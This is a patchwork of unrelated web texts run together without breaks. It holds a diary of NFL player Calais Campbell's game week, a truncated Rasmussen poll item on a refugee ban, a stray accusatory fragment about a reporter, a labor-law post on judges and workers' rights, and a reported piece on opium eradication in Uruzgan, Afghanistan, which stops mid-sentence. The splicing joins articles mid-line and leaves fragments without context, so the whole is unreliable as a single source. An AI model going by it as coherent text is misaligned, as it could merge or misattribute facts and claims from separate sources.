When the Cardinals' plane landed in Phoenix after their 39-32 win over the Seattle Seahawks, Campbell looked at his watch.
It was 3:30 a.m.
An hour later, Campbell was home and asleep. He got a little shut-eye on the plane, but it wasn't easy.
"Most of the plane was going crazy because of the big win," Campbell said.
Calais Campbell snaps a selfie with, from left, his mom, Nateal, sister, Keyonne, and girlfriend, Rocio, after the victory in Seattle. Courtesy of Calais Campbell
With another Sunday night game on the horizon, Campbell tried to get as much sleep as possible. He stayed in bed until 10:30 a.m.
His week, in earnest, began around noon when he arrived at the Cardinals' practice facility. After a quick breakfast, Campbell put himself through his own workout instead of one of the two team-mandated workouts per week with strength and conditioning coach Buddy Morris. Monday's workout goal: get the blood flowing again after a 3-hour, 53-minute game. He also worked to get his footwork "back right."
He started on the elliptical to get his heart rate up. Then he stretched, did core work, jumped rope and stretched some more. When Campbell works out on his own, he doesn't follow a strict plan.
"I don't even know how many reps I'm doing," Campbell said. "I just go off feel." After, Campbell spent 20 minutes in the cold tub "because it's important." The cold helps reduce swelling and it drains lactic acid from tired muscles.
From the facility, Campbell went to pick up his sister, Keyonne, at the airport. She was flying back from Seattle, where she spent the weekend and went to the game. Calais planned to go to the movies, so Keyonne joined him for "Bridge of Spies," starring Tom Hanks.
The buzz around Phoenix created by the Cardinals' victory reached the movie theater. Campbell is friendly by nature so when fans approach, he tends to begin the interaction.
"I was trying to be incognito, but I'm 6-8 so I couldn't hide," he said. "I saw somebody walk up real fast and look back at me trying to see.... I'm always friendly. I'm always like, 'Hey, how you doing?' They're just so excited to say, 'Go Cardinals' or 'good luck.' "
Campbell didn't realize the movie was 2 1/2 hours long, so when he and Keyonne exited the theater, he rushed home. Campbell changed for teammate Patrick Peterson's charity dinner, where players acted as servers at a Phoenix steakhouse.
The dinner featured a silent auction with an autographed Campbell jersey. Three people were bidding on it but instead of letting just the winner take the jersey home, Campbell made a deal with the bidders. If they all paid the same price -- the highest price -- Campbell would autograph a jersey for each of them.
"Everybody's a winner," Campbell said with a laugh. "Jerseys for everybody."
Campbell got back to his place around 10 p.m. and waited for a shipment of food to be delivered. He recently hired a chef who prepares his meals. Campbell, like most players, doesn't have time to cook and found himself eating poorly.
A late drop-off meant a late dinner. Campbell was sleeping with a full stomach by 11:30 p.m.
TUESDAY
Tuesdays are the scheduled day off for the Cardinals.
By 7:15 a.m., Campbell was in the studio of 101.1 FM The Beat, a hip-hop radio station in Phoenix. He met one of the morning show's hosts, Nina Cruz, at charity functions over the years and she had invited him. Campbell spent 30 minutes in studio.
After the radio appearance, he went to work. From 8-10 a.m. every Tuesday Campbell sees his muscle therapist, who works on Campbell's nicks and bruises with massages and active release techniques.
Calais Campbell did a radio appearance on Tuesday morning with Nina Cruz on 101.1 The Beat. Courtesy of Calais Campbell
After, Campbell grabbed lunch and went to the facility where he got in his Buddy Morris-led workout.
"With him it's planned," Campbell said. "He has a real big warm-up. It's real tedious. You don't really like doing it, but you know it works. You feel the benefits from it, but it's just so long and it burns, so you don't really want to do it."
After the workout, Campbell had a quick cold-tub session. Then he got a haircut before a TV appearance. Campbell was a guest on the CBS Sports show "We Need To Talk" and was interviewed by Tracy Wolfson and Swin Cash.
Campbell has expressed an interest in being behind the camera when his football days are over, making TV shows or movies. But the more he has been on camera, the more he likes it.
"At first I didn't really want to do it because I didn't know how good I'd be at it," Campbell said. "The more you do it, the more I like it. It's been fun."
By 3:30 p.m. he was back in a massage chair. This massage was to "get some more flow and get my body back right." What was supposed to be a two-hour massage ended closer to 6 p.m.
Between appointments, Campbell talked with his publicist about his "Thanksgiving Dinners for Families" event, in which he provides more than 250 dinners to families in need.
Campbell went home for dinner before heading to the Cardinals' practice facility to help host Football 101, an event to teach fans about how the Cardinals' operation works and what players do day to day. This year's event had more than 300 people, Campbell said.
"It's fun to just get a feel for the fans," Campbell said. "Everybody was so happy beating Seattle; everybody is so ecstatic.
"It makes you feel good. You work really hard and the cool thing about football is that it brings communities together. You see smiles on people's faces."
WEDNESDAY
When Campbell's alarm went off at 6:15 a.m., he fought the urge to hit snooze. It's the start of a big week, as the Cardinals would play their second straight prime-time game, versus Cincinnati on Sunday night.
He got to the facility around 7:05, with more than enough time for a breakfast of oatmeal, scrambled eggs and chicken sausage. While Campbell and his teammates ate, they talked about their win over Seattle.
Calais Campbell, pressuring Russell Wilson, reminisced with his teammates about the victory Wednesday. Jonathan Ferrey/Getty Images
Campbell's first meeting was at 7:30, run by Cardinals coach Bruce Arians, who went over the good, bad and ugly from the Seattle win. Then, he went over what Campbell called the "highlights" of the week: what the Cardinals needed to do to beat the Bengals. At meeting's end, Arians handed out game balls. Campbell's defensive line cohort, Frostee Rucker, earned one.
"I was hyped for him," Campbell said.
Ten minutes after the team meeting, Campbell took part in the special-teams meetings. Then he got in a quick stretch and grabbed a couple of bottles of water before the 8:30 meeting. In it, he learns the week's game plan. Defensive line coach Brentson Buckner gives an intense speech on "how we need to dominate and why... all that good stuff," Campbell said.
"Pretty much gets you hyped up."
Campbell started to learn the Bengals' tendencies, such as when quarterback Andy Dalton likes to pass, on what downs and distances and in which formations. Then, it's time for walk-through and practice.
"Once you walk-through it and go through all that stuff, you start getting a feel for it," Campbell said. "Then, in practice, you're going to make mistakes. You expect to make mistakes.
"That's when we make our mistakes. That mental error sheet is a lot higher, but we kept it fairly low. Everybody is focused and in tune. There are simply mistakes. All correctable."
Once practice ended, Campbell jumped in the cold tub for 15 minutes.
When he got home, his girlfriend, Rocio, was watching "Power," a show on Starz. And like the rest of America, Campbell has become good at binge-watching shows. They watched three episodes.
Campbell uses his down time, usually in front of the TV, to stay loose. He's constantly stretching and sometimes keeps his feet elevated while watching his favorite shows.
After their binge, Campbell watched the first half of Arizona's loss at Pittsburgh. By 10:30 p.m. he was sleeping.
THURSDAY
By midweek, Campbell's routine becomes, well, routine.
His Wednesdays, Thursdays and Fridays are the same every week. Meetings don't start until 8 a.m. on Thursdays, which allowed him an extra 35 minutes of sleep. Even breakfast becomes fairly repetitive. He had oatmeal -- but added apple sauce -- eggs and chicken sausage.
After he finished his special-teams meeting, with 20 minutes until the next meeting, Campbell got on his phone. He didn't text or watch videos. He read as much news as he could find about the Bengals. It's a trick he learned from Buckner. He found out who's practicing -- and who's not -- and what they were working on.
"They might slip up and give you something," Campbell said. "Plus, sometimes you get if coaches want to put emphasis on the running game or all that good stuff, or if the coach says the quarterback needs to play better, he may get more passes on first or second down. You watch the film and get a feel for it."
Over his career, Campbell has learned to watch for specific tendencies. Campbell said Dalton is "kind of sneaky" with his hard count.
"He'll try to lull you to sleep," Campbell said. "He'll quick count you, quick count you and then he'll get up and hard count you."
Calais Campbell takes a selfie with rookie Rodney Gunter, his guest for a Cardinals sports talks radio show Thursday. Courtesy of Calais Campbell
Campbell headed home after practice for 20 minutes before going to host a radio show at Dan Majerle's sports bar in Chandler, Arizona. The crowd was still buzzing off the Seattle win. Campbell's guest was rookie nose tackle Rodney Gunter, whom Campbell chided for a sub-par "dab" dance. He told the rookie the only way to make up for it was to get a sack against the Bengals.
After signing autographs for 30 minutes after the show, Campbell went home to eat a steak with broccoli and sweet potatoes.
He couldn't resist the temptation. He watched another episode of "Power" before watching some film and going to sleep.
FRIDAY
Campbell arrived at the Cardinals' practice facility at 6:45 a.m. He had oatmeal and was lifting by 7 a.m. He did enough upper-body work to break a sweat but with the game two days away, Campbell didn't push it.
After his workout, Campbell continued his breakfast routine: chicken sausage and eggs.
"Same thing every day," he said. "I don't know why, but it's worked out."
The Cardinals had their team meetings Friday morning and got in their final 90-minute practice of the week. Then it was time for their weekly defensive players-only meetings.
It was Campbell's turn to address the defense. He spent all of Thursday night and practice Friday morning thinking about the right words to motivate his peers. When it was his time, the speech was unrehearsed and from the heart.
"I really don't remember what I said," Campbell said with a laugh.
"The main thing I wanted to get across was that we still haven't played our best ball, and also that beating Seattle doesn't get you anywhere. Winning seven games doesn't get you anywhere. We have a long way to go to get to where we want to be."
Then he went for another massage at 2 p.m., followed by an appointment with his muscle therapist. By the time he got home at 6:30 p.m., Campbell was beat. He turned down a chance to see the comedian Charlie Murphy at a Phoenix comedy club with his sister, Keyonne, instead opting for some black cod and brown rice for dinner and another two episodes of "Power."
"I was only going to watch one, but the one was so good, I had to watch the next one," Campbell said.
By 10:40 p.m., Campbell was fast asleep.
SATURDAY
Three weeks ago, the Cardinals moved their Saturday back an hour to give players a little extra rest.
Campbell was able to sleep until 7:30 a.m. and was in the locker room by 8:30 a.m. to review tape.
During the 9 a.m. meeting, coaches reviewed the officiating crew and hammered which penalties they called with frequency. In the defensive line room, Campbell & Co. broke down tape before Buckner played a YouTube video of motivational speaker Eric Thomas, something he does every Saturday.
After, the Cardinals had their walk-through. The cold tub was colder than usual after practice, down from around 40 degrees to about 28 or 30.
"Desperate times call for desperate measures," Campbell said. "The colder, the better, I guess."
After his dip, it was family time for Campbell.
He took out a group of 20 family and out-of-town friends to Lucille's, a local BBQ restaurant.
While his family and friends went to a comedy club to watch his brother perform his stand-up routine, Campbell headed to the team hotel, arriving a couple of minutes late for Bible study. All 30 seats were taken. Anthony Edwards, the team's director of player development who is also a minister, led the sermon.
Before and after the meeting, Campbell and his teammates watched college football. Smack talk was flying as loyalties ran deep. After the meeting, the players gathered for ice cream and cookies.
Curfew was at 11.
SUNDAY
For the second straight week, Campbell has to wait all day to play. But he still woke up at 7:30 a.m. at the hotel. After a breakfast of waffles, hash browns, turkey sausage and an omelet followed by "a whole bunch" of watermelon, Campbell headed home.
Players can either stay at the hotel all day or go home. They just have to be at the stadium two hours before kickoff.
He was home from about 10 a.m. to 3:30 p.m. and spent most of the day watching the Red Zone channel. His girlfriend made his pregame meal: grilled chicken, broccoli and brown rice. After, Campbell got in a 30-minute nap.
Heavy traffic delayed his arrival at University of Phoenix Stadium until 4:10 p.m. MT, 20 minutes before check in.
Night games had been messing with Campbell's body, which has been cramping more lately. One theory is the late games allow him to get excited for longer, draining his energy throughout the day.
Once in the locker room, he drank a bottle of Pedialyte. He has stopped going on the field to warm up because it tires him out. His new routine consists of the hot tub, a shower, stretching for 30 minutes on his own, putting some of his game attire on (socks, pants, leg pads, cleats), then he getting stretched by trainers before putting on his shoulder pads, jersey and gloves. Then he gets taped.
Campbell roused the troops with a pregame speech. He has learned it's not what he says but how he says it.
"It's funny because you always want to say the right thing," he said. "It's loud and you just want the energy to be high so it doesn't really matter what I say. Just got to say it with passion and energy."
He tried to keep that energy during a dismal first half that saw the Cardinals go down by a touchdown after two interceptions by Carson Palmer. While some players yelled and screamed at one another during halftime, Campbell played the role of peacemaker.
"That's the way it goes," he said. "Emotions are high."
Campbell kept his pads on at halftime, drank two bottles of water and ate half of a Gatorade energy bar.
In the second half, Campbell hurt his ribs and took a knee. He wanted to make sure he could breathe without pain. Doctors put him through a short test to see if his ribs were broken. They weren't.
Calais Campbell, right, and teammate Jared Veldheer celebrate the Cardinals' second straight Sunday Night Football win, this time over the Bengals. AP Photo/Ross D. Franklin
The Cardinals won 34-31 on a last-second field goal. Campbell went from locker to locker afterward, congratulating teammates. After media obligations, Campbell took his time getting out of his pads.
"I'm consistently the last one to leave the locker room," he said. "I can't help but move slow. My energy is basically on 'E.' I don't have anything left in the tank."
A large group of friends and family gathered for pictures, hugs and high-fives afterward before they made their way to a bar to celebrate.
"It was very simple," he said. "With 'victory Monday' you can do that."- According to a new poll conducted by Rasmussen Reports, more than half of likely voters polled support President Donald Trump's ban on refugees from seven countries entering the United States.
On Friday, President Trump signed an executive order which imposes a temporary, 90-day ban on entries into the U.S. from Iran, Iraq, Libya, Somalia, Sudan, Syria and Yemen. General refugee admissions to the U.S. are also banned for 120 days, and the admission of Syrian refugees is suspended indefinitely.
In a poll released by Rasmussen Reports on Monday, 57 percent of those polled said they favor a temporary halt on refugees from the seven countries mentioned above until the federal government improves its ability to screen out potential terrorists. Thirty-three percent of those polled said
|
. Here’s the New York Times political reporter Maggie Haberman — in a widely shared tweet — endorsing these jingoistic falsehoods from Rucker:Many people across the political spectrum have highlighted the importance of this year’s Presidential election to the future of the Supreme Court. Also at stake in the Presidential election is the composition of the lower federal courts. And since judicial appointments require Senate confirmation, control of the Senate is almost as important as winning the Presidency.
When it comes to the courts, the media has a tendency to focus on gun control, abortion rights, and to a lesser extent, LGBTQ rights. While these issues are important to many voters including workers, the media pays far less attention to a set of issues of major relevance to all workers; namely, worker protection laws. And when it comes to worker protection, it matters enormously which party controls judicial appointments. While there are, of course, plenty of cases where judges appointed by Republican Presidents rule in favor of workers, there are also many close (and sometimes not so close) cases where judges make value judgments, and in doing so, they can either view a case from the perspective of a worker or an employer.
Just in the last month, three appellate judges appointed by George W. Bush, who are on Donald Trump’s list of potential Supreme Court Justices, wrote opinions or dissents in employment law cases that demonstrate the ways that judges can change the law. William Pryor of the Eleventh Circuit recently wrote an opinion rejecting the view the Equal Employment Opportunity Commission has held for nearly 50 years that applicants for employment may raise disparate impact claims under the Age Discrimination in Employment Act (ADEA). In dissent, an Obama appointee, Beverly Martin, pointed out that the statute prohibits employers from taking actions that “would deprive or tend to deprive any individual of employment opportunities,” and Pryor’s opinion rewrote the statute by failing to give effect to that phrase.
In another recent case, Diane Sykes of the Seventh Circuit, ruled that an employee who complained that he was retaliated against for reporting harassment had no claim because he had reported the harassment between two and twelve days after the various incidents, while the employer had instructed him to report harassment “immediately.” The dissenting judge (who was appointed by George H.W. Bush) pointed out that the ruling provided a “free pass” to employers in retaliation claims whenever an employee fails to follow an employer’s strict rules for reporting harassment.
In a third case, the Eighth Circuit considered whether an employee with a disability had made her employer aware of her need for an accommodation. Two of the three judges on the panel (an Obama appointee and a George W. Bush appointee) found that there was enough evidence for a jury to find that she had, but Judge Steven Colloton dissented. According to Judge Colloton, it is “not an onerous burden on the employee” to require an explicit request for an accommodation. But that presumes that workers know their rights, and know the right words or phrases necessary to invoke them.
These cases just represent the tip of the iceberg when it comes to the way judges can affect workers’ rights. Under President Obama, the Department of Labor has issued regulations that extend overtime protections to home health aides and it has raised the salary cap so that employees who are paid $30,000 a year can no longer be classified as “managers” and denied overtime on that basis. Whenever the Department of Labor issues regulations, employers reflexively challenge them in court. When the DOL extended overtime protection to homecare workers, District Court Judge Richard Leon (a Bush appointee) struck down the rule, but his opinion was so indefensible that an ideologically diverse three judge panel overturned it on appeal.
Judges can also make a huge difference in shaping federal labor law. In two recent cases, one in the Fifth Circuit, and another in the Sixth Circuit, panels of three Republican judges overturned the NLRB and found that employer lockouts were legal. The lockout is an extremely powerful weapon in bargaining, and allowing employers to use lockouts in more circumstances places workers in a weaker bargaining position.
When working class voters cast their ballots for Republicans, they probably aren’t seeking judges who will favor corporations over workers, but, as these cases show, that is often what they get.
Related
© 2019 On Labor | http://onlabor.org/workers-the-courts-and-the-election/In the main square in Tirin Kot, the capital of Uruzgan Province, in central Afghanistan, a large billboard shows a human skeleton being hanged. The rope is not a normal gallows rope but the stem of an opium poppy. Aside from this jarring image, Tirin Kot is a bucolic-seeming place, a market town of flat-topped adobe houses and little shops on a low bluff on the eastern shore of the Tirinrud River, in a long valley bounded by open desert and jagged, treeless mountains. About ten thousand people live in the town. The men are bearded and wear traditional robes and tunics and cover their heads with turbans or sequinned skullcaps. There are virtually no women in sight, and when they do appear they wear all-concealing burkas. A few paved streets join at a traffic circle in the center of town, but within a few blocks they peter out to dirt tracks. Almost everything around Tirin Kot is some shade of brown. The river is a khaki-colored wash of silt and snowmelt that flows out of the mountain range to the north, past mud-walled family compounds. On either side of the river, however, running down the valley, there is a narrow strip of wheat fields and poppy fields, and for several weeks in the spring the poppies bloom: lovely, open-petalled white, pink, red, and magenta blossoms, the darker colors indicating the ones with the most opium. One afternoon this spring, at the height of the harvest, I drove through the area with Douglas Wankel, a former Drug Enforcement Administration official who was hired by the United States government in 2003 to organize its counter-narcotics effort here. Wankel, who is sixty-one and has piercing blue eyes, was stationed in Kabul as a young D.E.A. official in 1978 and 1979, during the bloody unrest that led up to the Soviet invasion. “I left on a flight to New Delhi a couple of hours before the Soviets rolled in,” he said. “People thought it was because I knew it was coming. I didn’t; I just happened to be leaving on a trip. But the Soviets branded me a C.I.A. agent, and so I couldn’t come back—until now, that is.” Working first with the D.E.A. and then with the State Department, Wankel helped create the Afghan Eradication Force, with troops of the Afghan National Police drawn from the Ministry of the Interior. Last year, an estimated four hundred thousand acres of opium poppies were planted in Afghanistan, a fifty-nine-per-cent increase over the previous year. Afghanistan now supplies more than ninety-two per cent of the world’s opium, the raw ingredient of heroin. More than half the country’s annual G.D.P., some $3.1 billion, is believed to come from the drug trade, and narcotics officials believe that part of the money is funding the Taliban insurgency. Wankel was in Uruzgan to oversee a poppy-eradication campaign—the first major effort to disrupt the harvest in the province. He had brought with him a two-hundred-and-fifty-man A.E.F. contingent, including forty-odd contractors supplied by DynCorp, a Virginia-based private military company, which has a number of large U.S. government contracts in Iraq, Afghanistan, and other parts of the world. In Colombia, DynCorp helps implement the multibillion-dollar Plan Colombia, to eradicate coca. The A.E.F.’s armed convoy had taken three days to drive from Kabul, and had set up a base on a plateau above a deep wadi. With open land all around, it was a good spot to ward off attacks. Much of Uruzgan is classified by the United Nations as “Extreme Risk / Hostile Environment.” The Taliban effectively controls four-fifths of the province, which, like the movement, is primarily Pashtun. Mullah Omar, the fugitive Taliban leader, was born and raised here, as were three other founders of the movement. The Taliban’s seizure of Tirin Kot, in the mid-nineties, was a key stepping stone in their march to Kabul, and their loss of the town in 2001 was a decisive moment in their fall. The Taliban have made a concerted comeback in the past two years; they are the de-facto authority in much of the Pashtun south and east, and have recently spread their violence to parts of the north as well. The debilitating and corrupting effects of the opium trade on the government of President Hamid Karzai is a significant factor in the Taliban’s revival. The Taliban instituted a strict Islamist policy against the opium trade during the final years of their regime, and by the time of their overthrow they had virtually eliminated it. But now, Lieutenant General Mohammad Daud-Daud, Afghanistan’s deputy minister of the interior for counter-narcotics, told me, “there has been a coalition between the Taliban and the opium smugglers. This year, they have set up a commission to tax the harvest.” In return, he said, the Taliban had offered opium farmers protection from the government’s eradication efforts. The switch in strategy has an obvious logic: it provides opium money for the Taliban to sustain itself and helps it to win over the farming communities. Wankel had flown in from Kabul five days earlier to meet with the governor of Uruzgan, Abdul Hakim Munib, about the eradication operation, only to discover that Munib had left for Kabul the day before. Wankel was told that a sister of the governor had died or fallen ill—there were several versions—but nobody believed this was the real reason for his absence. Munib, a former Taliban deputy minister, was suspected of retaining ties to the movement. And, Wankel noted, there were poppy fields within sight of Munib’s palace. “We’re not able to destroy all the poppy—that’s not the point. What we’re trying to do is lend an element of threat and risk to the farmers’ calculations, so they won’t plant next year,” Wankel said later. “It’s like robbing a bank. If people see there’s more to be had by robbing a bank than by working in one, they’re going to rob it, until they learn there’s a price to pay.” We came to a wide bend in the river, a stretch of good, flat growing land with broad poppy fields. The fields were neat and well tended, and the swollen bulbs beneath the blossoms on their long green stalks were dripping with dark-brown opium. A heady, acrid odor like stale urine hung in the air. Small groups of men and boys were in the fields, scoring the bulbs to bleed the opium. They stopped and stared at us when we drove past, and then continued their work.
Before Doug Wankel could do anything in Uruzgan, he had to talk to the Dutch. In a bewilderingly complicated arrangement, NATO member states have been put in charge of military operations in different Afghan provinces—the British in Helmand, for instance, and the Canadians in Kandahar. Since August, 2006, the Dutch have been in Uruzgan. A seventeen-hundred-member Dutch force occupies a sprawling walled base southwest of Tirin Kot. Smaller bases within the walls house contingents of Australians, U.S. Special Forces, and the Afghan Army. Military aircraft land at and take off from an airstrip there at all hours. There are small firebases elsewhere in the province, but troops at the main base rarely venture far from Tirin Kot. Suicide bombings and I.E.D. attacks, major features of the Iraq insurgency, were rare in Afghanistan until 2005, but they have become common, and not just in Uruzgan. On June 17th, a suicide bomber blew up a bus in Kabul, killing dozens of people. Although a threatened Tet-style spring offensive by the Taliban never quite materialized, the level of violence has risen significantly. Some five thousand people were killed in the war last year, including a hundred and ninety-one foreign troops and at least a thousand civilians. By contrast, half that number of people were killed in 2005. As the war gets worse, incidents involving the killing of Afghan civilians by American troops, unintentional or not, have increased, causing widespread discontent. In May, the upper house of the Afghan parliament called for an end to offensive military operations by foreign troops and for dialogue with the Taliban. Karzai has complained publicly about the civilian deaths, but he is dependent on the foreign forces to prop him up. (Thirty-five thousand troops from thirty-seven nations are now in Afghanistan under the NATO umbrella; seventeen thousand are American. Another eight thousand American troops operate under U.S. military command.) Karzai seems isolated and weak, and his authority barely extends beyond the capital. The effects of the war and the drug boom are evident in Kabul. There are more security barriers and anti-suicide-blast walls in the city, and United Nations personnel and relief workers must adhere to constantly updated safety guidelines and curfews. The rules are even stricter for American diplomats and officials, who live and work within their own new Embassy compound. Meanwhile, in nearby Sherpur, a downtown neighborhood, dozens of gaudy “poppy palaces” have gone up—mansions owned by former warlords and by senior officials in Karzai’s government, built on public land that had housed war-displaced families until they were forcibly removed by police. The official corruption and judicial impunity that have taken root under Karzai are seen as his greatest failings, and feature heavily in Taliban propaganda. Two years ago, his government announced a plan for fighting the opium trade, based on “eight pillars,” including building the justice system, eradicating the poppy crop, and funding alternative development programs that would provide seeds for other crops and credits for fertilizer. The plan is backed by a commitment of billions of dollars from the U.S., but so far there has been little to show for it. A Western official in Kabul told me, “The narcotics issue is an example of the problems this government faces—corruption, tribal politics, and lack of central institutions. Here it’s not _re_construction—you’re starting from zero on a lot of issues. We’re trying to impose all of it at once, and it’s hugely frustrating.” The official went on, “Right now you’ve got to work with what you’ve got, and here you’ve got people who’ve figured out how to survive through thirty pretty horrific years. There’s a lot of dealmaking. We have to be realistic about whom we’re dealing with. And we have to show we’re going to be dogged on this.” In Uruzgan, the Dutch have advocated a policy of nonconfrontation and the pursuit of development projects. (The Dutch commander, Hans van Griensven, was quoted in the Times in April as telling his officers, “We’re not here to fight the Taliban. We’re here to make the Taliban irrelevant.”) A European official told me that the Dutch had doubts about Wankel’s mission; they feared that it might be counterproductive, because it was only about destroying poppies and did not include any of the other seven pillars of the national plan. “There was concern that it might crosscut other activities focussed on security and development,” he said. Wankel was frustrated by the wariness of the Dutch. “Most or all Europeans are opposed to eradication—they’re into winning hearts and minds,” he said. “But it’s our view that it isn’t going to work. There has to be a measured, balanced use of force along with hearts and minds.” He conceded, however, that the Uruzgan operation fell squarely on the use-of-force side of the scale. Later, he told me, aid, seed, and fertilizer would be offered to the farmers around Tirin Kot, but not yet. Other Americans were frankly contemptuous of the Dutch policy, which they regarded as softheaded. The Western official told me, “We don’t have a lot of time here. If we don’t get a handle on this soon, we’ll have a situation where you can’t get rid of it, like we had in Colombia for a while, where the narcos owned part of the government and controlled significant parts of the economy. And we have a lot of evidence of direct links with the Taliban. These problems, and organized crime, too, are being embedded here while they’re talking about ‘alternative development.’ ” Soona Niloofar, a member of parliament from Uruzgan, found the debate over development versus forceful eradication somewhat abstract; she didn’t think much had been accomplished on either front. “Before the Dutch arrived, I told them, ‘You must do reconstruction and help the farmers.’ And the Ministry of Agriculture also spoke about helping them with alternative livelihoods. But nothing happened,” she said. “They have done little reconstruction. There is a big gap between them and the people.” The Dutch presence was felt only around Tirin Kot, she said, and, as far as she knew, the only significant things they had done were to repair a damaged bridge and set up a women’s sewing coöperative. (A spokesman for the Dutch government said that there had been other projects, including one called Cleaning Up Tirin Kot, which involved painting storefronts and helping with garbage disposal.) At the same time, security had deteriorated. “The Dutch policy is a very weak one, and it makes the enemy stronger,” she said. Niloofar, who is twenty-seven, is a striking woman with a strong face and high cheekbones, and, on the day I met her, at the Parliament, she wore, instead of a burka, a brilliant turquoise shalwar kameez and head scarf—all the more noticeable in the assemblage of drably suited and robed male M.P.s. The Taliban have targeted women in public life, including teachers at girls’ schools, and a number have been killed. Niloofar said that she could no longer safely travel to her home in Uruzgan or stay there overnight. “People are getting very angry with Karzai,” Niloofar said. “At the beginning of the year, he promised to sack the governors where opium is grown.” She smiled sarcastically. “Nothing has been done.” “There is a fairly strong consensus view here that eradication alone, in the absence of the other seven lines, will not curb poppy cultivation or opium production,” Chris Alexander, a Canadian who is one of the top-ranking United Nations officials in Afghanistan, said. “But in Helmand and Uruzgan all of these steps depend on improved security, which must remain the overriding priority. The Taliban have partnered in intimate ways with the drug networks over the past two years. Their alliance deserves to be exposed for the opportunism and criminality it represents.” He added, “This Taliban is no fresh-faced Islamist movement. It is a violent, drug-fuelled rabble with a narrow and highly unappealing ideological base. Their defeat—or at least reduced influence—can open the door to a much more effective counter-narcotics policy.” After a meeting with the Dutch, Wankel returned to the A.E.F.’s camp, looking tired and exasperated. He had a map approved by the Dutch, showing a tight quadrant of land within which his team was to confine its work. It was miles away from the Dutch base. “They’re as nervous as whores in a church,” Wankel said.
The eradication team set off early the next morning for their first day’s work. There were nineteen Americans and a hundred Afghans in a convoy made up of twenty-four all-terrain vehicles—similar to small dune buggies—eighteen Ranger pickup trucks carrying Afghan policemen, and four of DynCorp’s white Ford F250 pickups. I rode in a truck driven by David Lockyear, an amiable six-foot-seven-inch Tennessean in his thirties, known as Doc Dave. Lockyear, who had a goatee and was covered with tattoos, was a paramedic from Nashville who joined the Marine Corps after September 11th. (“I was just pissed off, like a lot of people, and wanted to do something,” he said.) He fought in the first siege of Falluja, and in 2007 he went to work for DynCorp. He smoked a Marlboro and held a cup of coffee in one hand as he drove. A great dust cloud formed as the A.T.V.s hyperkinetically whizzed past us and the trucks kicked up plumes of swirling yellow powder. Picking up speed, Lockyear exclaimed, “This is redneck heaven. You get to run around the desert on A.T.V.s and pickups, shoot guns, and get paid for it. Man, it’s the perfect job!” When we reached the target area, men on A.T.V.s cut through the fields, dragging metal bars on chains, which knocked down the poppies. Other members of the team whacked at the poppies with shovel handles. Around the edges of the fields and on small hills above them, armed Afghan Interior Ministry policemen stood guard. Wankel had attended a shura, or council of local elders, a few days before, to explain the mission, and a small group of local Pashtun policemen were on hand, but the A.E.F. team consisted mostly of men from other areas of the country. Major Khalil, the deputy commander, was an ethnic Tajik, and didn’t trust the Pashtuns. (Like many Afghans, Khalil uses only one name.) He came from the same village in the northern province of Panjshir as the mujahideen hero Ahmed Shah Massoud, who was assassinated by Al Qaeda two days before the September 11th attacks. Khalil described the area where we were as “the heart of enemy territory.” Doug Wankel walked up to an angry-looking farmer who was watching his field being destroyed and asked him, through an interpreter named Nazeem, how much he got for his opium. Twenty-one thousand Pakistani rupees for a four-kilo package, the farmer said, and he harvested three to four kilos per jirib (a local land measurement equivalent to about half an acre). He added, “I get only a thousand rupees per jirib of wheat, so I’m obliged to grow poppies.” That comes to about thirty-three dollars from an acre of wheat, and between five hundred and seven hundred dollars from an acre of poppies. In Uruzgan, the opium was sold to middlemen who then smuggled it out of Afghanistan to Pakistan or Iran. “How long have you been growing poppies?” Wankel asked him. The farmer looked surprised. “When I was born, I saw the poppies,” he said. When we were ready to move on, the farmer said, as if to be polite, “Thank you—but I can’t really thank you, because you haven’t destroyed just my poppies but my wheat, too.” He pointed to where A.T.V.s had driven through a wheat patch. Wankel apologized, then commented that it was only one small section. “But you have also damaged my watermelons,” the farmer insisted, pointing to another part of the field. “Now I will have nothing left.” Wankel turned away. As we walked on, the farmer called out, “Are you destroying all the poppies or just my field?” About a dozen men and boys gathered on a low dirt wall next to another field and watched the proceedings impassively. A young girl wiped away tears with her scarf and yelled angrily at a policeman. Nearby, several Americans were resting in the shade of some mulberry trees, talking to each other. One of the local men, who wore a black turban, said to them, “We’re poor—we’re not with the Taliban or anything. You’ve made a big mistake. Now we’ll grow more against you.” He added, “I have to feed my children.” Nazeem, the translator, spoke to the men in Pashto, and recited passages from the Koran proscribing opium. One of the men retorted, “The Koran also says to fight against kafirs”—that is, infidels. His companions stirred and nodded. A farmer approached Glen Vaughn, one of the DynCorp medics, and told him that he had pains in his back which made it hard to move his legs. He had gone to the Dutch base to be treated at the hospital there, but had been turned away. Vaughn, a stocky former fireman from Denton, Texas, began to examine him. As he did so, another man made a lunge for Vaughn’s holstered sidearm. Vaughn jerked backward and the man dodged away, grinning. “I’ll shoot you in the head if you try that again,” Vaughn said in English. Nazeem and a couple of Afghan policemen formed a protective circle around Vaughn. The other farmers, seeing Vaughn’s alarm as a display of fear, laughed at him. Nazeem spoke to them sharply, saying, “I’m Pashtun, too, like you, and I’m not afraid of you.” Staring coldly at him, the oldest farmer, a gray-bearded man, said, “You will be afraid when the time comes.” Back at the base camp, Wankel changed into shorts and a T-shirt decorated with the Stars and Stripes and an eagle, and lay down on the cot in his tent to read Bob Woodward’s most recent book, “State of Denial.” On balance, he was pleased with how the first day had gone; it had been a good start. “It’s not fair to judge the eradication program against the figures for drug cultivation, because it’s really just getting off the ground,” Wankel said. “Corruption is a huge problem, though, and no doubt some of the guys we’re involved with are up to some stuff. But you just have to try and steer them.”
On the second day of the operation, the local police, who were supposed to show up at seven, were forty minutes late and, when they finally arrived, there were only a few of them. This was worrisome, because after the previous day’s foray there was more potential for trouble; the presence of the police was seen as a guarantee of local coöperation, and therefore of security for the eradication force. Mick Hogan, a tall, muscular man of fifty with a silver beard, who was Wankel’s manager in the field, stood silently, watching the convoy get ready. Hogan was a veteran of Special Forces anti-guerrilla operations in Central America during the nineteen-eighties, and of the I.N.L.’s counter-narcotics programs in Colombia, Guatemala, and Bolivia. He remarked evenly that the late arrival of the policemen was “not a good sign.” The convoy moved out anyway. We travelled slowly in a long line of vehicles. I was in a Ford truck with Eric Sherepita, one of two DynCorp commanders of the operation in Uruzgan. Sherepita was a burly man in his thirties with a shaved head and tattoos, a goatee and a Fu Manchu mustache. The other DynCorp commander, Kelly, a former policeman from Arizona, also goateed, was driving another. The remaining DynCorp trucks were packed with guns and men, including two specialists in land-mine and explosives removal: a husky, soft-spoken Samoan named Suani, who often wore a sarong and draped a kaffiyeh over his head, like an Arab sheikh, and Anton, a Croatian from Mostar, who rarely spoke. As we entered the nearest village, children gathered along the track waving and holding their hands out, and some of the DynCorp men tossed them gray plastic 